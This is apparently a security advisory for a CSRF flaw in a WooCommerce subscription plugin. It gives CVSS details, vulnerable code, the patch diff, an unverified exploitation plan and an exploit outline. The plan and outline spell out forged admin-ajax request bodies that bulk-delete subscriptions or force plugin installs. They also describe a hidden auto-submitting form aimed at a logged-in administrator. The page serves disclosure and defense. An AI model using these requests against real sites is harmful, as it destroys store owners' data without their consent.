CVE-2026-24554

Subscription & Recurring Payment for WooCommerce <= 1.9.1 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.9.2
Patched in
2d
Time to patch

Description

The Subscription & Recurring Payment for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.9.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.9.1
PublishedMay 25, 2026
Last updatedMay 26, 2026
Affected pluginsubscription

What Changed in the Fix

Changes introduced in v1.9.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-24554 (CSRF in Subscription & Recurring Payment for WooCommerce) ## 1. Vulnerability Summary The **Subscription & Recurring Payment for WooCommerce** plugin (versions <= 1.9.1) contains multiple Cross-Site Request Forgery (CSRF) vulnerabilities. The primary fl…

Show full research plan

Exploitation Research Plan: CVE-2026-24554 (CSRF in Subscription & Recurring Payment for WooCommerce)

1. Vulnerability Summary

The Subscription & Recurring Payment for WooCommerce plugin (versions <= 1.9.1) contains multiple Cross-Site Request Forgery (CSRF) vulnerabilities. The primary flaw resides in the lack of (or incorrect) nonce validation in the AJAX handler for bulk subscription actions and potentially in the plugin installer endpoints. This allows an unauthenticated attacker to trick a logged-in administrator into performing destructive actions, such as permanently deleting subscriptions or modifying plugin states, by visiting a malicious link or form.

2. Attack Vector Analysis

  • Vulnerable AJAX Action: wp_subscription_bulk_action
  • Vulnerable Installer Actions: install_woocommerce_plugin and wps_subscription_activate_woocommerce_plugin
  • Endpoint: /wp-admin/admin-ajax.php
  • Required Authentication: Admin-level (triggered via the victim's session).
  • HTTP Method: POST
  • Preconditions:
    • The victim must be a logged-in administrator.
    • At least one subscription must exist on the site for the bulk action exploit.

3. Code Flow

  1. Entry Point: The plugin registers AJAX handlers in includes/Admin/Menu.php and (likely) an installer file:
    // includes/Admin/Menu.php
    add_action( 'wp_ajax_wp_subscription_bulk_action', array( $this, 'handle_bulk_action_ajax' ) );
    
  2. AJAX Call (JS side): In assets/js/admin.js, the handleBulkAction function sends a POST request:
    jQuery.ajax({
      url: wp_subscription_ajax.ajaxurl,
      type: "POST",
      data: {
        action: "wp_subscription_bulk_action",
        bulk_action: action, // e.g., "delete"
        subscription_ids: subscriptionIds,
        nonce: wp_subscription_ajax.nonce,
      },
      // ...
    });
    
  3. Vulnerable Sink: The PHP function handle_bulk_action_ajax (referenced in Menu.php) processes the bulk_action (delete, trash, etc.) for the provided subscription_ids. The vulnerability exists because this function either omits check_ajax_referer entirely or performs an "incorrect" check (e.g., checking for a parameter that doesn't exist or failing to terminate execution on failure).

4. Nonce Acquisition Strategy

The vulnerability is CSRF. If the handler completely lacks a nonce check, no acquisition is required. However, the description mentions "incorrect" validation. If the check is conditional (e.g., if (isset($_POST['nonce'])) { wp_verify_nonce(...) }), the exploit simply omits the nonce.

If a nonce is required but can be leaked (e.g., to an unauthenticated user):

  1. Identify Script Loading: The sdevs_subscription_admin script (and its localized nonce) is enqueued on the wp-subscription admin page.
  2. Page Creation: Create a page that might trigger the plugin logic (though these are admin-only scripts, sometimes they leak into the frontend via shared helpers).
  3. Extraction:
    • Use browser_navigate to the Admin Subscription list: /wp-admin/admin.php?page=wp-subscription.
    • Use browser_eval to extract the nonce: window.wp_subscription_ajax?.nonce.
    • Note: For standard CSRF PoCs, we demonstrate that the action executes without a valid nonce to prove the vulnerability.

5. Exploitation Strategy

Scenario: Bulk Deletion of Subscriptions

  1. Target Action: wp_subscription_bulk_action
  2. Action Parameter: bulk_action=delete
  3. Payload Formulation:
    action=wp_subscription_bulk_action
    bulk_action=delete
    subscription_ids[]=1
    subscription_ids[]=2
    
  4. Execution: Use the http_request tool to simulate the admin's browser performing the POST request without a nonce (or with an invalid one).

HTTP Request Payload (via http_request)

  • URL: http://[target-ip]/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=wp_subscription_bulk_action&bulk_action=delete&subscription_ids[]=1

6. Test Data Setup

  1. Create Subscriptions: Since subscriptions are often Custom Post Types or custom table entries, the easiest way is to use the plugin's UI to create a test subscription or use WP-CLI if the post type is known.
    • Assumption: Subscriptions are stored as post type subscrpt_order (based on internal naming).
    • wp post create --post_type=subscrpt_order --post_status=publish --post_title="Test Subscription"
  2. Identify IDs: Get the ID of the created subscription:
    • wp post list --post_type=subscrpt_order

7. Expected Results

  • Response: The AJAX handler should return a JSON success message: {"success":true,"data":{"message":"..."}}.
  • Side Effect: The subscription with the specified ID should be permanently removed from the database.

8. Verification Steps

  1. Post-Exploit Check: Attempt to retrieve the subscription via WP-CLI:
    • wp post get [ID]
  2. Success Criteria: If the command returns "Could not find the post," the deletion via CSRF was successful.
  3. Database Check:
    • wp db query "SELECT count(*) FROM wp_posts WHERE post_type='subscrpt_order'" (Count should decrease).

9. Alternative Approaches

Installer CSRF

If bulk actions are protected, target the installer endpoints found in assets/js/installer.js:

  • Action: install_woocommerce_plugin
  • Body: action=install_woocommerce_plugin&install_plugin=woocommerce
  • Action: wps_subscription_activate_woocommerce_plugin
  • Body: action=wps_subscription_activate_woocommerce_plugin&activate_plugin=woocommerce
    Verify if these actions can be triggered by an admin session without a nonce, which could be used to disrupt the site or force-install specific plugins.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Subscription & Recurring Payment for WooCommerce plugin is vulnerable to Cross-Site Request Forgery (CSRF) because it lacks nonce validation on several AJAX endpoints, specifically those handling bulk subscription actions and plugin installation. This allows unauthenticated attackers to trick a logged-in administrator into performing unauthorized actions, such as deleting subscriptions or installing/activating the WooCommerce plugin, by visiting a malicious link or submitting a forged form.

Vulnerable Code

// includes/Admin/Menu.php line 18
add_action( 'wp_ajax_wp_subscription_bulk_action', array( $this, 'handle_bulk_action_ajax' ) );

---

// assets/js/installer.js lines 15-19
    $.ajax({
      type: "POST",
      url: sdevs_installer_helper_obj.ajax_url,
      data: {
        install_plugin: "woocommerce",
        action: "install_woocommerce_plugin",
      },

---

// assets/js/installer.js lines 35-39
    $.ajax({
      type: "POST",
      url: sdevs_installer_helper_obj.ajax_url,
      data: {
        activate_plugin: "woocommerce",
        action: "wps_subscription_activate_woocommerce_plugin",
      },

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.1/assets/js/admin.js /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.2/assets/js/admin.js
--- /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.1/assets/js/admin.js	2025-09-18 07:07:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.2/assets/js/admin.js	2026-03-30 08:58:52.000000000 +0000
@@ -131,7 +131,7 @@
       url: wp_subscription_ajax.ajaxurl,
       type: "POST",
       data: {
-        action: "wp_subscription_bulk_action",
+        action: "subscrpt_bulk_action",
         bulk_action: action,
         subscription_ids: subscriptionIds,
         nonce: wp_subscription_ajax.nonce,
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.1/assets/js/installer.js /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.2/assets/js/installer.js
--- /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.1/assets/js/installer.js	2025-09-18 07:07:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.2/assets/js/installer.js	2026-03-30 08:58:52.000000000 +0000
@@ -15,7 +15,7 @@
       url: sdevs_installer_helper_obj.ajax_url,
       data: {
         install_plugin: "woocommerce",
-        action: "install_woocommerce_plugin",
+        action: "subscrpt_install_woocommerce_plugin",
       },
       beforeSend: function () {
         $(".sdevs-loading-icon").show();
@@ -35,7 +35,7 @@
       url: sdevs_installer_helper_obj.ajax_url,
       data: {
         activate_plugin: "woocommerce",
-        action: "wps_subscription_activate_woocommerce_plugin",
+        action: "subscrpt_activate_woocommerce_plugin",
       },
       beforeSend: function () {
         $(".sdevs-loading-icon").show();
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.1/includes/Admin/Menu.php /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.2/includes/Admin/Menu.php
--- /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.1/includes/Admin/Menu.php	2026-03-09 08:29:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/subscription/1.9.2/includes/Admin/Menu.php	2026-03-30 08:58:52.000000000 +0000
@@ -15,7 +15,7 @@
 	public function __construct() {
 		add_action( 'admin_menu', array( $this, 'create_admin_menu' ) );
 		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin_assets' ) );
-		add_action( 'wp_ajax_wp_subscription_bulk_action', array( $this, 'handle_bulk_action_ajax' ) );
+		add_action( 'wp_ajax_subscrpt_bulk_action', array( $this, 'handle_bulk_action_ajax' ) );
 	}
 
 	/**
@@ -43,7 +43,7 @@
 			'sdevs_subscription_admin',
 			'wp_subscription_ajax',
 			array(
-				'nonce'   => wp_create_nonce( 'wp_subscription_bulk_action_nonce' ),
+				'nonce'   => wp_create_nonce( 'subscrpt_bulk_action_nonce' ),
 				'ajaxurl' => admin_url( 'admin-ajax.php' ),
 			)
 		);

Exploit Outline

1. Identify the target site's AJAX endpoint at `/wp-admin/admin-ajax.php`. 2. Construct a malicious HTML page containing a hidden form or a JavaScript snippet that automatically sends a POST request to this endpoint. 3. For bulk actions, the payload should include `action=wp_subscription_bulk_action`, `bulk_action=delete`, and a list of subscription IDs in the `subscription_ids[]` parameter. 4. For installer actions, the payload should include `action=install_woocommerce_plugin` or `action=wps_subscription_activate_woocommerce_plugin`. 5. Trick an authenticated administrator into clicking a link to the malicious page while they have an active session on the WordPress dashboard. 6. The browser will automatically submit the request with the administrator's cookies, and because the server-side AJAX handler fails to properly validate a unique nonce, the action (e.g., deleting all subscriptions) will be executed.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.